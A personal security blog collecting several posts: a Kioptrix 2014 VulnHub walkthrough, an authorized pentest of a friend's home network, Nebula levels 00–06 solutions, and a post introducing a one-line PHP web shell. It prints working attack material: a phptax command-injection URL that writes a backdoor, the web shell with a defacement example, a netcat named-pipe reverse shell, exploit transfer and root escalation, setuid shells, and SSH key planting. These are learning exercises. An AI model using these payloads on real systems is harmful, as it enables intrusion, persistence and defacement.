Kioptrix 2014

My lab time in the PWK course labs ran out a while back and I wasn’t ready for the exam. I think I understand all the theory that I need, it just takes m e too long to PWN systems, so I decided to try a few Vulnhub VMs. This article has a list of 10 that I will be trying, the first of which is Kioptrix 2014.

There are already walkthroughs all over the web, so I don’t feel like I’m giving away any spoilers here. I’m mostly documenting it for my own notes, but of course it can be used for hints if you’re going to give it a try.

I wanted to run in in VirtualBox, which requires the use of the extra “kiop2014_fix.zip” file as wall as the VMDK from the main kiop2014.tar.bz2

After starting the VM, I had to find the system’s IP address, so I ran netdiscover and it was quickly found. To find the open ports and identify the services, I ran nmap:

root@kali:~# nmap [IP-REDACTED] -sV

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-11 15:59 EDT
Nmap scan report for kioptrix2014.lan ([IP-REDACTED])
Host is up (0.00044s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 08:00:27:DC:55:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

Opening a web browser on port 8080 shows a 403 forbidden error message. Nothing too interesting in the response. The page returned on port 80 is more interesting though… When rendered, it’s just a heading that says “It works!”, but the source includes a commented out <meta refresh> that would redirect the browser to http://[IP-REDACTED]/pChart2.1.3/examples/index.php.

Initially, I thought I could inject some PHP in here. For example if I went to the sandbox and  changed my chart title to -“.shell_exec(“whoami”).”- then clicked the “Show code” button, it showed me that one line of code that would run would be

$myPicture->drawText(350,25,"-".shell_exec("whoami")."-",$TextSettings);

but when I clicked “Render picture”, the title was-“.shell_exec(“whoami”).”-, so it must have escaped it somehow when it really made the picture. Damn.

Next thing to try is looking for a known exploit for pChart:

root@kali:~# searchsploit pchart
--------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | php/webapps/31173.txt
--------------------------------------------- ----------------------------------

That txt file suggests that I can read any file on the system that the account running apache can read using a maliciously crafted url, for example http://[IP-REDACTED]/examples/index.php?Action=View&Script=/etc/passwd

Interestingly, we can see how this exploit works by examining the first line of index.php, which can be seen by visiting http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action=View&Script=index.php , which is:

<?php if ( isset($_GET["Action"])) { $Script = $_GET["Script"]; highlight_file($Script); exit(); } ?>

. We don’t even really need a value set for “Action”; http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=index.php works just as well.

Anyway, there’s not much of great interest that this account can access, but perhaps we can find out why we are seeing a 403 forbidden response when we connect to port 8080…

The apache config file on FreeBSD is located in /usr/local/etc/apache2x/httpd.conf, (on this system, since it’s apache 2.2, we should replace the “x” with a “2”) so we’ll look at that with http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=/usr/local/etc/apache22/httpd.conf and at the bottom of the file is:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

This tells us that port 8080 is serving files from /usr/local/www/apache22/data2, and that requests will only be allowed if the user agent starts with “Mozilla/4.0 Mozilla4_browser” . See https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html and http://httpd.apache.org/docs/current/mod/mod_access_compat.html#allow for more details of how that works.

Changing our user agent to “Mozilla/4.0 Mozilla4_browser_NOT REALLY!” makes apache respond to our requests to port 80, and the response says that there is a directory called phptax. This shows us a very ugly and dated web application that I clicked around, but couldn’t find anything interesting, so I used searchsploit again:

root@kali:~# searchsploit phptax
------------------------------------------------------------------ ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------ ----------------------------------
PhpTax - pfilez Parameter Exec Remote Code Injection (Metasploit) | php/webapps/21833.rb
phptax 0.8 - Remote Code Execution | php/webapps/21665.txt
PhpTax 0.8 - File Manipulation (newvalue) / Remote Code Execution | php/webapps/25849.txt
------------------------------------------------------------------ ----------------------------------

The second one looks interesting, it basically says that we can get remote code execution because user input is not sanitised before being used in php’s exec() function. I’ll confirm this works by writing a single line php backdoor file by visiting http://[IP-REDACTED]:8080/phptax/drawimage.php?pfilez=xxx;echo “<?php echo shell_exec(\$_GET[‘e’].’ 2>%261′);?>”>backdoor.php;&pdf=make in my browser, then http://[IP-REDACTED]:8080/backdoor.php?e=whoami to make sure it worked. It did, and now I can execute shell commands and see the output

It would be really nice to have a remote shell. I tried using “nc <IP> <PORT> -e /bin/sh”, but that didn’t work and “nc -h” showed why; -e is for specifying an IPsec policy (whatever that means) on this version of nc. We’ll have to try something else; I remember some time ago that I was able to use a named fifo pipe in order to get a shell with nc. This command worked for me to connect to a netcat listener:

mkfifo pipe;nc [IP ADDR] [PORT]<pipe|/bin/sh>pipe 2>pipe;rm pipe

Running “uname -r” tells us that we’re on a FreeBSD 9.0 system. Let’s try to get root. Back to searchsploit:

root@kali:~# searchsploit -t FreeBSD 9
------------------------------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------- ----------------------------------
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20810.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20811.cpp
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20812.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20813.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20814.c
FreeBSD 9.1 ftpd - Remote Denial of Service | freebsd/dos/24450.txt
FreeBSD mcweject 0.9 (eject) - Buffer Overflow Privilege Escalation | bsd/local/3578.c
BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD 2.1. | unix/local/19203.c
FreeBSD 9.0 < 9.1 mmap/ptrace - Privilege Escalation | freebsd/local/26368.c
FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit) | freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | freebsd/local/28718.c
FreeBSD/x86 - rev connect_ recv_ jmp_ return results Shellcode (90 bytes | freebsd_x86/shellcode/13265.c
FreeBSD/x86 - Rortbind Reverse 127.0.0.1:8000 /bin/sh Shellcode (89 byte | freebsd_x86/shellcode/13267.asm
------------------------------------------------------------------------- ----------------------------------

26368 looks promising, let’s send it to the remote machine. I ran this on my attacking machine:

searchsploit -m 26368;nc -vnlp 6666 <26368.c

then ran this on the remote system:

nc 192.168.23.120 6666 >26368.c

and after a few seconds, I hit CTRL+C to close the nc session. Not I have the exploit on the FreeBSD system, so I can compile it and run it:

gcc 26368.c -o 26368
./26368
whoami
root

We’ve got root! Inside root’s home directory is a nice txt file with some interesting information that we can read using cat

I recently learned that the guy that made this VM (Steven “loneferret” McElrea) passed away a couple of months ago. I’m grateful for the time he put into making this VM and my thoughts go out to his family.

My first pentest on a friend’s network

Someone I have know for a while was aware of my growing interest in information security and I had warned them a while ago that their network was probably vulnerable to attack because I had seen some web services that were not password protected running out of their home public IP address.

I saw them over the Christmas/new year period and they gave me permission to try and penetrate their network, specifically they challenged me to change the root password on their unRAID server.

I started off by firing up my Backtrack 5r3 VM and updating everything before registering Nessus and performing a scan of his public IP address.

Nessus didn’t find anything that was listed as critical, but it did show me that we had ssh running on port 22 and it also showed me all other ports that were open and had web servers running on them. I checked them all out and I found on various ports; the default Lion server webpage, SABNZBd, SickBeard, Transmission, and the unRAID server.

The website served by the unRAID server was asking for a username and password using basic access authentication. That was no use so I started looking into the other services. Not only were the operating interfaces unsecured, but their configuration sections were also open to anyone. I saw that SABNZBd was running as “admin” and that it had an option of running scripts when a download had completed. The method was to point SABNZBd to a folder containing scripts, start a download and then choose what script to run on completion. I knew I could download a file using SABNZBd or Transmission to any directory that the admin user had write permissions to, but I didn’t know at this stage how to make it executable.

I saw in SABNZBd’s preferences that I could specify the permissions (in octal format) of files and folders that were downloaded, so I ran SABNZBd on my machine, created a binary post on a newsgroup containing a script that was basically a reverse shell and tested a download to my machine with SABNZBd set to mark everything at 777. It created a folder with 777 permissions, but the file was only 555. Presumably this was for security reasons – damn!

At this point I was wishing that his machine was running Windows not OSX because SABNZBd on Windows only requires that a scripts file extension is in the PATHEXT environment variable. That would have been much easier than getting a file marked as executable.

I had to find another way of making an executable script on that machine. How could I get that machine to run my commands without having an executable script set… The web server or course. I created my single line PHP shell again (mentioned in a previous post) and set Transmission to download files to the Lion web server default folder, created a torrent containing my php script and downloaded the torrent to the server using transmission. I tested it, with the command whoami, and it worked. I was in, but I was only the user _www.

What could I do as _www? Not much, but I was able to create a reverse shell using netcat and take a look around the system. I couldn’t access admin’s files yet, but of course I could write to /tmp. If I could write to /tmp, I could create a script and mark it as executable by everyone. Then I could get SABNZBd to run it! I started thinking about making a script that would create a reverse shell, then it dawned on me: create a public/private key pair and add it to /Users/admin/.ssh/authorized_keys.

I uploaded my public key using my php shell script, and then created an executable script in /tmp that appended my key to authorized_keys.

I started a new SABNZBd download (I decided to just download something that was small, free and released under the CC license) so as no to upset anyone. Obviously I now set my script to run. All went well and I could now ssh into the machine as the admin user without a password.

At this point I cleaned up everything I had downloaded and just left my key in place so I could log in. I took a look around, but I couldn’t see anything to do with the unRAID server, so I thought I should report how far I had got.

They were surprised, and while I didn’t get into the unRAID server, I had gotten a lot further than they thought anyone would be able to. As a result of this, they have since enabled logins on all their web services and removed my public key, but they still do have some vulnerabilities, like ssh running on a default port and allowing password authentication (ripe for brute forcing). They are a lot safer than they were, but it may well be worth me going back and having another go at some point in the future.

A lot of the methods that I have used in this test were inspired by the challenges I have been working through in hackthissite.org and exploit-excercises.com and I’m very grateful to them for making the challenges.

I’m tempted to try and create a VM with this vulnerable setup and release it. I would have to check the licences, but I think most of it could be done using open source solutions (linux, apache, sabnzbd, transmission)

Exploit Exercises – Nebula – Level 06

Even less information about this one:

The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06.

I had a good idea what I’m looking for here, an easy to crack password hash in /etc/passwd rather than in the shadow file, so:

cat /etc/passwd | grep flag06

shows me the hash is ueqwOCnSGdsuM. I need to “crack” the hash. Time to get john the ripper on the case. At this point I didn’t have any other linux machines to hand, so I went to another tty session on this one and logged in a nebula and installed john (sudo apt-get install john). Then I ran john on the password file (john /etc/passwd) and he showed me the password. I switched over to flag06 account and the password worked as expected.

Exploit Exercises – Nebula – Level 05

Not much information to start on this one:

Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05.

The command ll (an alias for ls-alF) showed me that I had read access to ~flag05/.backup, and in there was a backup gzipped tar. Hopefully some goodies in here…

I unpacked the tar and found that it contained a folder called .ssh. This is used for secure shell authentication. That folder contained a private/public key pair and an authorized_keys file. The authorised_keys file is exactly the same as the public key file, so (assuming that the authorised_keys file had not been deleted since the backup) I should be able to ssh in using the private key, as long as it was not encrypted with a passphrase.

I copied the id_rsa file to ~/.ssh and tried to connect using:

ssh flag05@localhost

Bingo!

Exploit Exercises – Nebula – Level 04

The information about this level says:

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04 . Files for this level can be found in /home/flag04.

It also contains some source code:

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#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
 
int main(int argc, char **argv, char **envp)
{
    char buf[1024];
    int fd, rc;
 
    if(argc == 1) {
        printf("%s [file to read]\n", argv[0]);
        exit(EXIT_FAILURE);
    }
 
    if(strstr(argv[1], "token") != NULL) {
        printf("You may not access '%s'\n", argv[1]);
        exit(EXIT_FAILURE);
    }
 
    fd = open(argv[1], O_RDONLY);
    if(fd == -1) {
        err(EXIT_FAILURE, "Unable to open %s", argv[1]);
    }
 
    rc = read(fd, buf, sizeof(buf));
 
    if(rc == -1) {
        err(EXIT_FAILURE, "Unable to read fd %d", fd);
    }
 
    write(1, buf, rc);
}

Its fairly clear from looking at the files and the source code (I will admit I had to use a lot of man to help me understand the source code) that I want to read the contents of “token”, but the program won’t allow it. I tried things like ./token and ../flag04/token, but that didn’t work because the program is just searching for the string “token” anywhere in the first argument. Well… how do I get the contents of that file “into” another file without having permission to read the file? Symbolic link! Here’s what I did:

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ln -s ~flag04/token /tmp/link
~flag04/flag04 /tmp/link

It turns out that the contents of the token file is the password for the flag04 account so I just did su flag04 and used that password. I ran getflag and violà!

Exploit Exercises – Nebula – Level 03

The information about this level says:

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03 . Files for this level can be found in /home/flag03.

Well looking in ~flag03 there is just one directory (writable.d) file and one file (writable.sh). I’m assuming that the cron job runs writable.sh every couple of minutes so I looked at that script. I can see that the script runs every file in the writable.d folder (which we have write access to), but will kill the process if it takes longer than 5 seconds. It then removes the file.

What we could do is make a quick bash script that will run getflag and save the output like this:

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#!/bin/sh
getflag > /tmp/getflag.out

Which works (after we wait for the cron job to run it), but I want shell! So we’re going to borrow a trick from level01 and create a program that will launch a bash shell and get flag03 to set the setuid bit.

My C program looks like this:

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#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
int main() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, id, gid);
    setresuid(uid, uid, uid);
 
    system("/bin/bash");
}

Now I just compile it with gcc and drop it in /tmp so that flag03 can access it. All I need the cron job to do now is make a copy and set the setuid bit, so here is the script I dropped in ~flag03/writable.d:

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#!/bin/sh
cp /tmp/setuidshell /tmp/setuidshell2
chmod u+s /tmp/setuidshell2

This got me a program (/tmp/setuidshell2) in that gave me shell. From here I was able to run getflag, and also to run crontab -l to see that the cron job is actually called every 3 minutes.

Exploit Exercises – Nebula – Level 02

The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02 . Files for this level can be found in /home/flag02.

It also contains some source code:

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#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    char *buffer;
 
    gid_t gid;
    uid_t uid;
 
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    buffer = NULL;
 
    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);
 
    system(buffer);
}

This is similar to the Level 01. An environment variable $USER is being used to construct a string that is printed to the screen before being run. If we can edit that environment variable, we can inject a malicious command.

Initially I changed $USER so that running the program would execute getflag. The command I used was:

USER=;getflag;echo

I’ll break this down:
; – end the command and start a new one
getflag – run the getflag program
; – end the command and start a new one
echo – start a new echo command so that the following arguments don’t cause an error

This results in the following command being run:

/bin/echo ;getflag;echo is cool

I got a success message from get flag, but I wanted shell, so I changed my command to:

USER="Opening escalated shell...;bin/bash;echo Closing pwned shell, now that"

This time I got shell, and some cool text when going into the shell and when coming out (after typing exit)

Exploit Exercises – Nebula – Level 01

Following on from my previous post this one is about level01 of Nebula on exploit-excercises.com. The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.

It also contains some source code:

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#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    system("/usr/bin/env echo and now what?");
}

I’m not all that familiar with C (I’m more of a scripter), but I can understand enough; this appears to basically sets all uids for the process to the effective uid (presumably the setuid bit is present) and then calls a command line of:

/usr/bin/env echo and now what?

I wasn’t familiar with the env command so used a bit of googling until I learned that env is used to launch programs in a different environment. It also also sometimes used because a script needs to start with a shebang and followed by an interpreter directive, which must be an absolute path. Because some interpreters are not always installed at the same location, env is sometimes used to launch the correct interpreter by file name rather than full path (e.g. #!/usr/bin/env/ python). To do this, env searches through the list of paths in in the environment variable $PATH in order until it finds a correctly named file that it can execute in one of them. Presumably (for some unknown reason) env is being used here to invoke echo, but it means we can make a different echo program run by creating a malicious script and changing $PATH to point to it first.

I changed the path to include /tmp at the beginning by running the follwing command:

PATH=/tmp:$PATH

and then created a new symbolic link called echo to the getflag program:

ln -s /bin/getflag /tmp/echo

Now when I ran the vulnerable program I got a success message, but I wanted to go one further. I wanted shell…

I tried creating a symbolic link to bash, but now running flag01 failed due to the invalid arguments (“and now what?” are valid arguments for echo, but not bash), so I removed the symbolic link and created an executable shell script that ignored all arguments, and saved it as echo in /tmp. It contained the following two lines of code:

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#!/bin/bash
/bin/bash

This, I hoped, would cause the vulnerable program to spawn a shell. I tested it and it worked. I then ran whoami to confirm that I was flag01 and then getflag to get a success message.

Exploit Exercises – Nebula – Level 00

I’ve started to have a look at the challenges offered by exploit-exercises.com and thought I’d document my progress.

This post is about Nebula Level 00. The information about this level says:

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00 .

This is a pretty simple challenge, but did mean I had to learn all about normal unix filesystem permissions and the more advanced setuid/setguid/stickybit permissions I also learned how to suppress errors from the find command and how to better use the find and man command.

The command I used was

find / -perm -u=s 2>/dev/null

I’ll break down what this does:

  • find – search for files in a directory hierarchy
  • / – start at the root of the filesystem
  • -perm -u=s – find files that have the setuid bit set in their permissions
  • 2>/dev/null – discard all errors (mostly about not having permission to scan directories)

One of the results was /bin/…/flag00. This (…\) is a suspicious looking directory! Running ll /bin/…/flag00 showed me that the owner was flag00 and the setuid bit was indeed set so I ran the file which told me to now run getflag then changed the user to flag00. Running getflag gave me a success message.

What I liked about this was that I had a shell running as the flag00 user so I could run other commands like whoami before typing exit to get out of the shell. At the time, I had no idea how I was put into a new shell, but it all becomes clearer in the next level…

Single Line PHP Script to Gain Shell

A while ago, on PaulDotCom Security Weekly, I heard someone mention something about a single line php script to get shell on the web server. I knew it couldn’t be that hard as it’s only one line, but I didn’t find much about it on google when I searched, perhaps because it’s too easy, or perhaps I was using the wrong search terms. Anyway, I forgot about it for a while… until now.

Since WebApp security is what I’m most interested in at the moment, I have been learning PHP, I’m not finished learning yet, but today (while reading about how inputs should be sanitised before using “include”) I remembered the single line PHP shell, and I had a go and this is what I came up with:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Obviously the WebApp would have to be vulnerable in some way in order to be able to put this script on the server, but once it was, it could potentially be used to do things like dump files and deface the site.

The output is just text, not an HTML document so if using a web browser, you will want to view the source in order to see the proper result.

I used shell_exec() instead of just exec() because it returns every line instead of just the last one. An alternative is to use passthru() which will also send binary data, but to get that to work properly with binary data, you’d probably have to also set the headers which makes it more than one line.

I was able to run unix commands (windows commands should also work if the host is running windows) such as:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

The last command even showed me some files and their owners which in turn (because I am using a shared host) told me the names of some of the other sites are that are running on the same server as mine, which was an unexpected “bonus” find.